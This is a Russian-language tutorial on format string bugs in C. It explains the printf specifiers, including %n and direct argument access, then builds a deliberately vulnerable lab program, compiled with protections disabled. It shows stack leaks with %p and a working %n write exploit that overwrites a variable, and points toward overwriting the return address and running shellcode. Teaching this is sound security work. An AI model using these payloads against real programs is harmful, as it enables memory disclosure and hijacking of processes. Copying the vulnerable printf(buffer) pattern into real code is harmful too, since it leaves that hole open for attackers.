58
Салют, боец! Сегодня мы вскроем одну из самых красивых и, казалось бы, мертвых уязвимостей – форматные строки (Format String Bug). Многие думают, что это артефакт из 90-х, но я тебя уверяю: в мире IoT, эмбеддеда и просто криво написанного легаси-кода эта старушка до сих пор задает жару.
Почему она так крута? Потому что она дает нам сразу две мощнейшие примитивы: чтение произвольной памяти и запись в произвольную память. Это джекпот. Ты можешь слить пароли, ключи, обойти ASLR, переписать адреса возврата и захватить управление.
Готов? Тогда погнали. Никакой воды, только хардкор.
Часть 1: Теория на пальцах. Что под капотом?
Все дело в функциях семейства printf
, таких как printf
, fprintf
, sprintf
, snprintf
. Они работают так:
%s
, %d
, %x
, %p
, и т.д.printf("%s %d", "hello", 10)
возьмет адрес строки “hello” и число 10 из стека.Уязвимость возникает, когда программист делает так:
1 2 3 4 |
// НЕ ДЕЛАЙ ТАК НИКОГДА char user_input[100]; // ... получаем данные от юзера в user_input ... printf(user_input); |
Вместо правильного printf("%s", user_input)
.
Что происходит? printf
теперь считает, что строка юзера — это форматная строка. И если мы передадим ей строку вроде "AAAA %x %x %x"
, она честно выведет “AAAA”, а потом начнет вытаскивать из стека значения одно за другим и печатать их в hex-виде. Чьи значения? Да чьи попало! Все, что лежало в стеке в момент вызова функции: локальные переменные, аргументы, сохраненный EBP/RBP
, адрес возврата… Все наше.
Ключевые спецификаторы для нас:
%x
— читает значение из стека и выводит как hex. Наш скальпель для чтения.%s
— читает адрес из стека и пытается вывести строку по этому адресу. Может уронить прогу, если адрес кривой, но иногда позволяет слить целые куски памяти.%p
— указатель. Часто ведет себя как %x
, но более канонично для слива адресов.%n
— наше главное оружие. Записывает количество символов, уже выведенных этой функцией, в переменную, адрес которой лежит в стеке. Это примитив записи.%<N>$x
— лайфхак для современных систем. Прямой доступ к N-ному аргументу. Например, %6$x
выведет 6-й аргумент, не трогая первые пять. Это позволяет нам точно бить по цели, а не перебирать стек кучей %x
.Часть 2: Наш полигон. Уязвимый код
Напишем простую прогу, которую будем ломать. В ней будет уязвимость и “секрет”, который мы попытаемся украсть.
vuln.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 |
#include <stdio.h> #include <stdlib.h> #include <string.h> void vulnerable_function(const char *input) { char buffer[128]; // "Секретное" значение, которое мы хотим украсть int secret = 0xDEADBEEF; printf("Твой секрет: 0x%x\n", secret); strcpy(buffer, input); printf("Ты ввел: "); // Вот она, наша красавица! printf(buffer); printf("\n"); } int main(int argc, char *argv[]) { if (argc != 2) { printf("Использование: %s <строка>\n", argv[0]); exit(1); } vulnerable_function(argv[1]); return 0; } |
Компиляция для атаки:
Чтобы нам не мешали современные защиты, скомпилируем код с флагами, которые их отключат. В реальной жизни их пришлось бы обходить, но для учебы так нагляднее.
1 2 3 4 5 |
# Для 32-битной системы (классика) gcc -m32 -fno-stack-protector -z execstack -no-pie -o vuln vuln.c # Для 64-битной системы # gcc -fno-stack-protector -no-pie -o vuln vuln.c |
-fno-stack-protector
: отключает “канарейки” (stack canaries), которые защищают от переполнения буфера.-no-pie
: отключает Position-Independent Executable. Без него адреса кода будут всегда одинаковыми, что упрощает атаку.-z execstack
: делает стек исполняемым (для других типов атак).Часть 3: Атака! Читаем стек
Наша цель — прочитать значение переменной secret
(0xDEADBEEF), не зная его. Мы знаем, что оно где-то на стеке.
Шаг 1: Ищем нашу строку на стеке.
Подадим на вход что-то узнаваемое и посмотрим, где оно появится.
1 2 3 |
$ ./vuln AAAA.%p.%p.%p.%p.%p.%p.%p.%p Твой секрет: 0xdeadbeef Ты ввел: AAAA.0xf7fb8c20.0x804921b.(nil).0xffffd50c.0x804c008.0x41414141.0x2e70252e.0x70252e70 |
Смотри! 0x41414141
— это “AAAA” в hex. Оно на 6-й позиции после нашей строки. Это значит, что наш ввод находится по смещению 6 от начала аргументов printf
.
Шаг 2: Читаем секрет напрямую.
Теперь, зная смещение, мы можем использовать прямой доступ. Нас интересует значение перед нашим буфером. Давай попробуем разные смещения.
В стеке все лежит примерно так (упрощенно):
... | [аргументы printf] | ... | [адрес возврата] | [сохраненный EBP] | secret | buffer | ...
Так как наш буфер на 6-й позиции, secret
должен быть где-то рядом. Попробуем 5-ю.
1 2 3 |
$ ./vuln %5\$p Твой секрет: 0xdeadbeef Ты ввел: 0xdeadbeef |
Бинго! Мы только что украли секретное значение из памяти, используя лишь одну форматную строку. Мы не переполняли буфер, не ломали логику. Мы просто попросили printf
показать нам то, что лежит у нее под носом.
Часть 4: Запись в память с %n
Чтение — это круто, но настоящая мощь — это запись. Спецификатор %n
записывает количество напечатанных байт по адресу, который он берет из стека.
Концепция атаки:
printf
как “аргумент”.Представим, что мы хотим перезаписать secret
значением 0x1337
.
Это уже сложнее и требует точного контроля над стеком. Полный эксплойт для записи выглядит громоздко, но вот его суть:
secret
. Нам нужно его как-то узнать (например, слить через тот же %p
, если ASLR включен). Допустим, мы его знаем: 0xffffd49c
.%n
с прямым доступом к нашему адресу на стеке.printf
вывел нужное количество байт. 0x1337
в десятичной системе — это 4919.Наш payload
будет выглядеть примерно так:[адрес_secret_в_бинарном_виде]...%<padding>x%<offset>$n
[адрес_secret...]
: \x9c\xd4\xff\xff
(в little-endian)%<offset>$n
: Мы уже знаем, что наш ввод на 6-м месте. Значит, %6$n
.%<padding>x
: Нам нужно напечатать 4919 символов. 4 байта адреса мы уже “напечатали”. Значит, нужно еще 4919 – 4 = 4915 символов. Используем спецификатор %4915x
.Финальный эксплойт (с использованием python для удобства):
1 |
$ ./vuln $(python -c 'import sys; sys.stdout.write("\x9c\xd4\xff\xff" + "%4915x" + "%6$n")') |
После выполнения этой команды, если мы поставим брейкпоинт в GDB, мы увидим, что значение secret
изменилось с 0xdeadbeef
на 0x1337
. Мы только что изменили память процесса. Отсюда один шаг до перезаписи адреса возврата и выполнения своего шеллкода.
Часть 5: Что в современных системах?
Да, сейчас есть ASLR, PIE, RELRO, Stack Canaries. Но:
%n
позволяет писать точечно. Мы можем перезаписать переменную, указатель на функцию или адрес возврата, не задев канарейку.Вывод
Форматные строки — это не просто баг, это швейцарский нож для эксплуатации. Он дает тебе контроль над памятью там, где другие уязвимости бессильны. Понимание этого механизма отличает новичка от профи.
Теперь твоя очередь. Компилируй, ломай, изучай в GDB, как гуляют данные по стеку. Попробуй изменить эксплойт для 64-битной системы (подсказка: адреса станут длиннее, смещения могут поменяться). Только так становятся настоящими специалистами.
Удачи, хакер.